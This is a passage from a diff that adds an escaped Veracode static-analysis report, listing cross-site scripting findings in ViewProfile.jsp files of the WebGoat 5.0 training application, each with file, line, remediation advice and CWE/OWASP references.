+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
